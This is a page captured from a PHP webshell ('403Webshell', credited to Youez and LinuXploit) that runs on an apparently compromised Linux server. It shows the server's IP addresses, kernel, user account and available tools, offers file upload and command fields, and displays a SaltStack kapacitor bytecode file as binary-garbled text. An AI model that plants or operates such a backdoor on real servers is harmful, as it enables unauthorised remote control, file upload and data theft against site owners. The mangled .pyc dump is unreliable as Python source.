403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/__pycache__/kapacitor.cpython-310.pyc
o

;j�@s�dZddlZddlZddlZddlZddlmZe�	e
�Zdd�Zedd��Z
dd	�Zd
d�Zdd
�Z				ddd�Zdd�Zdd�Zdd�ZdS)aJ
Kapacitor execution module.

:configuration: This module accepts connection configuration details either as
    parameters or as configuration settings in /etc/salt/minion on the relevant
    minions::

        kapacitor.host: 'localhost'
        kapacitor.port: 9092

    .. versionadded:: 2016.11.0

    Also protocol and SSL settings could be configured::

        kapacitor.unsafe_ssl: 'false'
        kapacitor.protocol: 'http'

    .. versionadded:: 2019.2.0

    This data can also be passed into pillar. Options passed into opts will
    overwrite options passed into pillar.

�N)�memoizecCstjj�d�r	dSdS)N�	kapacitor)FzMissing dependency: kapacitor)�salt�utils�path�which�rr�J/opt/saltstack/salt/lib/python3.10/site-packages/salt/modules/kapacitor.py�__virtual__&sr
cCs&tdd�}|sttddd��}|S)z$
    Get the kapacitor version.
    zpkg.versionr�
config.optionzkapacitor.versionZlatest)�__salt__�str)�versionrrr	r-srcCs>tddd�}tddd�}tddd�}|�d|�d	|��S)
z 
    Get the kapacitor URL.
    rzkapacitor.protocol�httpzkapacitor.hostZ	localhostzkapacitor.porti�#z://�:)r)�protocol�host�portrrr	�_get_url8srcCs�t�}t�dkr|�d|��}n|�d|�d�}tjjj|dd�}|ddkr)d	Stjj�|d
�}t�dkrF|d|d|d
|dd�S|d|d|d|ddkd�S)z�
    Get a dict of data on a task.

    name
        Name of the task to get information about.

    CLI Example:

    .. code-block:: bash

        salt '*' kapacitor.get_task cpu
    �0.13z/task?name=z/kapacitor/v1/tasks/z?skip-format=trueT)�statusri�N�bodyZ
TICKscript�TypeZDBRPsZEnabled)�script�type�dbrps�enabledrrrr)rrrrr�query�json�loads)�name�urlZtask_url�response�datarrr	�get_taskCs&

�
�r$cCsji}t�tddd�d�}td||d�}|�d�r |d|d<|�d�r+|d|d<|d	d
k|d<|S)z?
    Run a Kapacitor task and return a dictionary of info.
    rzkapacitor.unsafe_ssl�false)Z
KAPACITOR_URLZKAPACITOR_UNSAFE_SSLzcmd.run_all)�env�stdout�stderr�retcoder�success)rr�get)�cmd�retZenv_vars�resultrrr	�_run_cmdns��

r/�stream�defaultcCs�|s|st�d�dSt�dkrd|��}nd|��}|�d�r'td|t�}|d|��7}|r7|d	|��7}|s;g}|rK|rK|�d
|��}|�|�|rY|D]	}|d|��7}qOt|�S)a
    Define a task. Serves as both create/update.

    name
        Name of the task.

    tick_script
        Path to the TICK script for the task. Can be a salt:// source.

    task_type
        Task type. Defaults to 'stream'

    dbrps
        A list of databases and retention policies in "dbname"."rpname" format
        to fetch data from. For backward compatibility, the value of
        'database' and 'retention_policy' will be merged as part of dbrps.

        .. versionadded:: 2019.2.0

    database
        Which database to fetch data from.

    retention_policy
        Which retention policy to fetch data from. Defaults to 'default'.

    CLI Example:

    .. code-block:: bash

        salt '*' kapacitor.define_task cpu salt://kapacitor/cpu.tick database=telegraf
    z.Providing database name or dbrps is mandatory.Frzkapacitor define -name zkapacitor define zsalt://z
cp.cache_filez -tick z -type �.z -dbrp )�log�errorr�
startswithrZ__env__�appendr/)r Ztick_scriptZ	task_typeZdatabaseZretention_policyrr,Zdbrprrr	�define_task�s('




r7cC�td|���S)z�
    Delete a kapacitor task.

    name
        Name of the task to delete.

    CLI Example:

    .. code-block:: bash

        salt '*' kapacitor.delete_task cpu
    zkapacitor delete tasks �r/�r rrr	�delete_task��
r;cCr8)z�
    Enable a kapacitor task.

    name
        Name of the task to enable.

    CLI Example:

    .. code-block:: bash

        salt '*' kapacitor.enable_task cpu
    zkapacitor enable r9r:rrr	�enable_task�r<r=cCr8)z�
    Disable a kapacitor task.

    name
        Name of the task to disable.

    CLI Example:

    .. code-block:: bash

        salt '*' kapacitor.disable_task cpu
    zkapacitor disable r9r:rrr	�disable_task�r<r>)r0Nr1N)�__doc__�logging�loggerZsalt.utils.httprZsalt.utils.jsonZsalt.utils.pathZsalt.utils.decoratorsr�	getLogger�__name__r3r
rrr$r/r7r;r=r>rrrr	�<module>s*


+
�F

Youez - 2016 - github.com/yon3zu
LinuXploit